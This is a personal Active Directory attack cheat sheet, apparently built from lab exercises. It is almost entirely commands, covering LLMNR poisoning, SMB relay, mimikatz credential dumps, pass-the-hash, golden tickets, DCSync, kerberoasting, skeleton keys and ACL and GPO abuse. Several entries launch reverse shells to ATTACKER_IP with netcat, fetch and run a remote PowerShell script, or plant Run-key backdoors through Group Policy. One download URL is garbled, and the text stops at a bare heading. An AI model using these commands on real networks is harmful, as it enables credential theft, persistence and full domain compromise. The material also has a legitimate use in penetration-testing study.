Initial Foot-printing

LLMNR / NBT-NS Poisoning

To run responder tool to catch hashes:

```
sudo responder -I eth0
```

To use hashcat for crack NTLM hashes:

```
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
```

Password-Spray

To use kerbrute tool for passwordspray:

```
./kerbrute_linux_amd64 passwordspray --dc 192.168.68.132 -d GEMY.local
users.txt Password123!
```

SMB-Relay

To use ntlmrelayx tool to extract hashes:

Nmap scan to check for smb :

```
nmap --script=smb2-security-mode -p445 -Pn 192.168.68.134
```

responder
-open responder.conf, SMB,HTTP : set to off

```
sudo responder -I eth0
```

ntlmrelayx tool:

```
python3 ntlmrelayx.py -tf target.txt -smb2support  //target include #DC-IP
```

use -i to open a shell like PTH attack:

```
python3 ntlmrelayx.py -tf target.txt -smb2support -i
```

in another tab,

```
nc 127.0.0.1:11000
```

Dump Windows Password Hashes

Dump Hashes from machine

```
crackmapexec smb MACHINE-IP -u 'username' -p 'password' --sam
```

Scenario to Dump Credentials

run mitm6 to listen for the domain logins:

```
python3 mitm6.py -d GEMY.local
```

run ntlmrelayx to escalate user privilege to EnterpriseAdmin;

```
python3 ntlmrelayx.py -6 -t ldaps://TARGET-IP -wh fakewpad.Domain.local -l
lootme3 --escalate-user username
```

use crackmapexec to dump ntds database file:

```
crackmapexec smb Target-IP -u 'username' -p 'password' --ntds drsuapi
```

Enumeration

SharpHound

install https://github.com/BloodHoundAD/BloodHound/tree/master , then run SharpHound in Collector file.

or use

```
SharpHound.exe --CollectionMethod All
```

BloodHound

To start bloodhound gui:

```
sudo neo4j console
// Credientials
neo4j:#Ahmed01*
```

To load the file from the win machine to kali use scp:
first open ssh with the win machine,

```
ssh username@MACHINE-IP
scp 20240114183907_BloodHound.zip kali@192.168.68.128:/home/kali/Desktop
```

Lateral Movement

PTH from linux

After getting the hash from ntlmrelayx script, use
note: the hash is the second part of the result hash.

```
crackmapexec smb 192.168.68.0/24 -u username -H Hash -x "Exploit"
//Exploit is Powershell Encoder tool exploit, put ur IP&Port listener
//in kali, open terminal metasploit
msfconsole
use exploit/multi/handler
set lhost
set lport
// to listen for a shell
```

Another way using wmiexec.py

```
python3 wmiexec.py -hashes hash domain/Administrator@MACHINE-IP -codec cp949
```

or

```
python3 psexec.py -hashes hash domain/Administrator@MACHINE-IP cmd.exe
chcp 65001
```

Mimikatz from meterpreter

After opening meterpreter session

```
getuid
getsystem
getuid
sysinfo
####################
load mimikatz
help mimikatz
mimikatz_command -f version
mimikatz_command -f fu::
mimikatz_command -f divers::
msv
kerberos
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f handle::
mimikatz_command -f handle::list
mimikatz_command -f service::
mimikatz_command -f service::list
mimikatz_command -f crypto::
mimikatz_command -f crypto::listProviders

// https://www.offsec.com/metasploit-unleashed/mimikatz/
```

Kiwi

```
getsystem
load kiwi
creds_all
```

```
creds_kerberos
creds_livessp
creds_msv
creds_ssp
creds_tspkg
creds_wdigest
dcsync
dcsync_ntlm
golden_ticket_create
kerberos_ticket_list
kerberos_ticket_purge
kerberos_ticket_use
kiwi_cmd
lsa_dump_sam
lsa_dump_secrets
password_change
wifi_list
wifi_list_shared
```

Meterpreter from Shell

```
msfconsole
use auxiliary/scanner/ssh/ssh_login
set rhosts
set username
set password
exploit
sessions
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set session 1
exploit
sessions
sessions 2
```

Mimikatz

Extract NTLM Hashes from local SAM

```
privilege::debug
token::elevate
lsadump::sam
```

Extract NTLM Hashes from LSASS memory

```
privilege::debug
token::elevate
sekurlsa::msv
```

Dump Protected LSASS memory

```
sekurlsa::logonpasswords
processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
```

Credential Manager

```
privilege::debug
sekurlsa::credman
```

Extract Tickets from LSASS memory

```
privilege::debug
sekurlsa::tickets /export
```

Extract Keys from memory

```
privilege::debug
sekurlsa::ekeys
```

PTH

```
token::revert
sekurlsa::pth /user:fcastle /domain:GEMY.local
/ntlm:2b576acbe6bcfda7294d6bd18041b8fe /run:"c:\tools\nc64.exe -e cmd.exe
ATTACKER_IP 5555"
// To receive the reverse shell
nc -lvp 5555
```

PTT

```
kerberos::ptt ticket_name
// To check if the tickets were correctly injected
kerberos::list
```

PTK (Over Pass-The-Hash)

```
// If we have the RC4 hash:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com
/rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe
ATTACKER_IP 5556"
// If we have the AES128 hash:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com
/aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe
ATTACKER_IP 5556"
// If we have the AES256 hash:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com
/aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb 65
/run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
// To receive the reverse shell
nc -lvp 5556
```

Pivoting

Socat

```
// You need to connect RDP to Target-machine on port 3389
// from the middle machine, listen to 13389 to access from Attacker-machine
```

```
socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389
// The fork option allows socat to fork a new process for each connection
received, making it possible to handle multiple connections without closing.
// from Attacker-machine RDP the middle machine to access Target-machine
xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020
```

Exploitation

Kerberos Delegation

Unconstrained

First Enumerate for delegations [TrustedToAuthForDelegation]

```
python3 findDelegation.py GEMY.local/fcastle:'Password123!' -dc-ip
192.168.68.132
```

Dump tickets for DA or Administrator

```
privilege::debug
sekurlsa::tickets /export
```

PTT

```
kerberos::ptt ticket_name
// To check if the tickets were correctly injected
kerberos::list
```

Constrained

First Enumerate for delegations [msds-AllowedToDelegateTo]

```
python3 findDelegation.py GEMY.local/fcastle:'Password123!' -dc-ip
192.168.68.132
```

Use Rubeus to create rc4_hmac

```
Rubeus.exe hash /user:username /password:password /domain:domain.local
```

Ask for TGS to delegate

```
Rubeus.exe s4u /user:username /rc4:X /impersonateuser:Administrator
/domain:domain.local /msdsspn:SQLService.domain.local /ptt
```

Resource-Based

First Enumerate for delegations [GenericAll-GenericWrite]

```
python3 findDelegation.py GEMY.local/fcastle:'Password123!' -dc-ip
192.168.68.132
```

Then Create fake machine and set property [msds-allowedtoactonbehalfofotheridentity]

```
// Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-
SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

// Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid |
Select -Expand objectsid

// Then by using the SID we are going to build an ACE for the new created
machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

// Next, we need to set the security descriptor in the msDS-
AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking
over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-
```

```
allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

//After using Rubues, Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
```

Use Rubeus to create rc4_hmac

```
Rubeus.exe hash /user:username /password:password /domain:domain.local
```

Ask for TGS to delegate

```
Rubeus.exe s4u /user:username /rc4:X /impersonateuser:Administrator
/domain:domain.local /msdsspn:SQLService.domain.local /ptt
```

Golden Ticket

First you need to know 4 things

- Administrator name
- Administrator SID
- Domain name
- krbtgt hash
  then,
  use wmiexec.py to log as Administrator to know the SID

```
python3 wmiexec.py -hashes hash domain/Administrator@MACHINE-IP -codec cp949
whoami /user
```

then, use psexec to login to machine has mimikatz with administration privilege

```
python3 psexec.py -hashes hash domain/Administrator@MACHINE-IP cmd.exe
chcp 65001
```

after opening mimikatz, to create the golden ticket

```
kerberos::golden /admin:administrator /domain:GEMY.local /sid:X /krbtgt:X
/ticket:GEMY_golden.tckt
```

```
// use klist to check if the ticket inserted.
kerberos::list
```

DCsync

Use Crackmapexec

```
crackmapexec smb 192.168.68.132 -u 'SQLService' -p 'Password123!' --ntds
drsuapi
```

or secretdump.py

```
python3 secretsdump.py domain.local/Administrator:'Password123!'@DC-IP -just-dc
```

or

```
python3 secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system
C:\Windows\System32\Config\system -dc-ip DC-IP
domain.local/username:password@Target-IP
```

From mimikatz

```
lsadump::dcsync
```

Kerberoasting

use GetUserSPNs.py to search for SPN users

```
// First Enumerate for SPN
python3 GetUserSPNs.py -dc-ip 192.168.68.132 GEMY.local/fcastle -hashes
// Request SPN Ticket
python3 GetUserSPNs.py -dc-ip 192.168.68.132 GEMY.local/fcastle -hashes  -
request
// Use hashcat for cracking ticket
hashcat -m 13100 "ticket" /usr/share/wordlists/rockyou.txt
// Use crackmapexec to dump ntds file hashes
```

```
crackmapexec smb 192.168.68.132 -u 'SQLService' -p 'Password123!' --ntds
drsuapi
```

ASREP-ROASTING

use GetNPUsers.py to search for user with NotRequireKerberosPreAuth flag

```
python3 GetNPUsers.py domain.local/ -dc-ip DC-IP -usersfile users.txt
// use hashcat to crack the hash
hashcat -m 18200 hashes.txt /use/share/wordlists/rockyou.txt
```

Skeleton-key

From mimikatz

```
privilege::debug
misc::skeleton
// try to login again with the master password:mimikatz
```

DSRM Abuse

Dump Local Administrator NTLM Hash from Mimikatz

```
privilege:::debug
token::elevate
lsadump::sam
```

Check and set the value for LogonBehavior

```
// Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrmAdminLogonBehavior
// Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
// Change value to "2"
```

```
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrmAdminLogonBehavior -value 2
```

PTH

```
token::revert
sekurlsa::pth /user:fcastle /domain:GEMY.local
/ntlm:2b576acbe6bcfda7294d6bd18041b8fe /run:"c:\tools\nc64.exe -e cmd.exe
ATTACKER_IP 5555"
// To receive the reverse shell
nc -lvp 5555
```

DNS-Admins Abuse

```
// Enumerate the members of the DNSAdmins group
// PowerView
Get-NetGroupMember -GroupName "DNSAdmins"

// AD Module
Get-ADGroupMember -Identiny DNSAdmins

// Once we found a member of this group we need to compromise it
// serving a malicious DLL on a SMB share and configuring the dll usage,we can
escalate our privileges
// Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll
\\Path\To\Our\Dll\malicious.dll

// Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
```

Custom SSP

use the `mimilib.dll` binary provided by Mimikatz

```
// From cmd
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
// then
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
// From mimikatz
privilege::debug
misc::memssp
// And after a reboot all credentials can be found in clear text in
`C:\Windows\System32\kiwissp.log`
```

GPP Credentials

If the domain controller 2012 or before, it's GPP that uses AES vulnerable encryption to store password on GPO Sysvol file.

```
// To Search manual for the passwords
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml

//Download GPPPasswords.ps1 script on Powershell
IEX(New-Object
Net.WebClient).downloaddString('https://github.com/PowerShellMafia/PowerSplohtt
ps://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-
GPPPassword.ps1it/blob/master/Exfiltration/Get-GPPPassword.ps1')

// To use the script to find passwords
Get-GPPPassword
```

Abusing ACLs

Generic All on User

Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`

```
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ?
{$_.ActiveDirectoryRights -eq "GenericAll"}
```

- **Change password**: You could just change the password of that user with

```
net user <username> <password> /domain
```

- **Targeted Kerberoasting**: You could make the user **kerberoastable** setting an **SPN** on the account, kerberoast it and attempt to crack offline

```
# Set SPN
Set-DomainObject -Credential $creds -Identity <username> -Set
@{serviceprincipalname="fake/NOTHING"}
# Get Hash
.\Rubeus.exe kerberoast /user:<username> /nowrap
# Clean SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear
serviceprincipalname -Verbose
```

- **Targeted ASREPRoasting**: You could make the user **ASREPRoastable** by **disabling preauthentication** and then ASREProast it.

```
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```

Generic All on Group

Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`

```
Get-NetGroup "domain admins" -FullData

// Then check for weak permissions
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain
Admins,CN=Users,DC=offense,DC=local"}

//After we found our user has GenericAll rights on the group
net group "domain admins" spotless /add /domain

// Same could be achieved with Active Directory or PowerSploit module
```

```
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain
"offense.local"
```

GenericAll / GenericWrite on Computer

If you have these privileges on a **Computer object**, you can pull kerberos Resource-based Constrained Delegation

WriteProperty on Group

```
// check for weak permissions
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain
Admins,CN=Users,DC=offense,DC=local" -and $_.IdentifyReference -eq
"OFFENSE\spotless"}

// After find our user has writeproperty on domain admins group
// We can again add ourselves to the `Domain Admins` group and escalate
privileges
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName
"domain admins" -Domain "offense.local"; net user spotless /domain
```

Self (Self-Membership) on Group

```
// check for weak permissions
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain
Admins,CN=Users,DC=offense,DC=local" -and $_.IdentifyReference -eq
"OFFENSE\spotless"}

// After find our user has SelfMembership on admins group
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName
"domain admins" -Domain "offense.local"; net user spotless /domain
```

WriteProperty (Self-Membership)

```
// check for weak permissions
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain
Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq
"OFFENSE\spotless"}

// After find our user has SelfMembership & WriteProperty on admins group
net group "domain admins" spotless /add /domain
```

ForceChangePassword

If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password

```
// check for weak permissions
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference
-eq "OFFENSE\spotless"}

//reset user password with powerview:
Set-DomainUserPassword -Identity delegate -Verbose

// Another method that doesn't require fiddling with password-secure-string
conversion
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

// or a one liner if no interactive session is not available
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-
SecureString '123456' -AsPlainText -Force) -Verbose

//and one last way yo achieve this from linux
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```

WriteOwner on Group

```
// Check for weak permissions
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain
```

```
Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq
"OFFENSE\spotless"}

// After that our user  has `WriteOwner` rights on `ObjectType:All` then Change
domain admins group owner to our user with group SID

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -
OwnerIdentity "spotless" -Verbose

//You can also use the name instead of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```

GenericWrite on User

```
// Check for weak permissions
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference
-eq "OFFENSE\spotless"}
// `WriteProperty` on an `ObjectType`, for `Script-Path`, user system will
execute our malicious script after login next time
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue
"\\10.0.0.5\totallyLegitScript.ps1"
```

GenericWrite on Group

This allows you to set as members of the group new users (yourself for example)

```
# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members
'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
```

```
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members
'username' -Verbose
```

WriteDACL + WriteOwner

```
//If you are the owner of a group, like I'm the owner of a `Test` AD group:
//Which you can of course do through powershell:
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity
().GetOwner([System.Security.Principal.NTAccount]).Value

// then check for permissions
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq
"CN=test,CN=Users,DC=offense,DC=local" -and $_.IdentifyReference -eq
"OFFENSE\spotless"}

// After find our user has WriteDACL, you can give yourself GenericAll
privileges with a sprinkle of ADSI sorcery
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object
System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Pri
ncipal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule
$IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

// or with cmdlets
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-
Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
```

GPO Delegation

```
// check for our user permissions on GPO from powerview
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
// find that our user has WriteProperty,WriteDACL,WriteOwner on ObjectDN of GPO
ID

// search for misconfigured GPOs, we can chain multiple cmdlets from
PowerSploit
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?
{$_.IdentityReference -eq "OFFENSE\spotless"}

// Computers with a Given Policy Applied
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -
ADSpath $_}

// Policies Applied to a Given Computer
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

// OUs with a Given Policy Applied
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties
DistinguishedName
```

Abuse GPO - New-GPOImmediateTask

create an immediate scheduled task through the GPO.

```
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net
localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy"
-Verbose -Force
//The above will add our user spotless to the local `administrators` group
```

Abuse GPO - GroupPolicy module

```
// You can check to see if the GroupPolicy module is installed
Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
// In a pinch, you can install it
Install-WindowsFeature –Name GPMC //as a local admin.
```

```
// Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target
"OU=Workstations,DC=dev,DC=domain,DC=io"

// Make the computers inside Workstrations create a new reg key that will
execute a backdoor
// Search a shared folder where you can write and all the computers affected
can read

Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -
Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type
ExpandString

// This payload, after the GPO is updated, will need also someone to login
inside the computer.
```

Abuse GPO - SharpGPOAbuse

can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

```
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT
AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe"
--GPOName "PowerShell Logging"
```

https://github.com/FSecureLABS/SharpGPOAbuse

Force Policy Update

The previous abusive **GPO updates are reloaded** roughly each 90 minutes. if you have access to the computer you can force it with `gpupdate /force` .

Users and Groups

we could change the user to something else, add another one or even add the user to another group/multiple groups

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>
```

Trust Relationships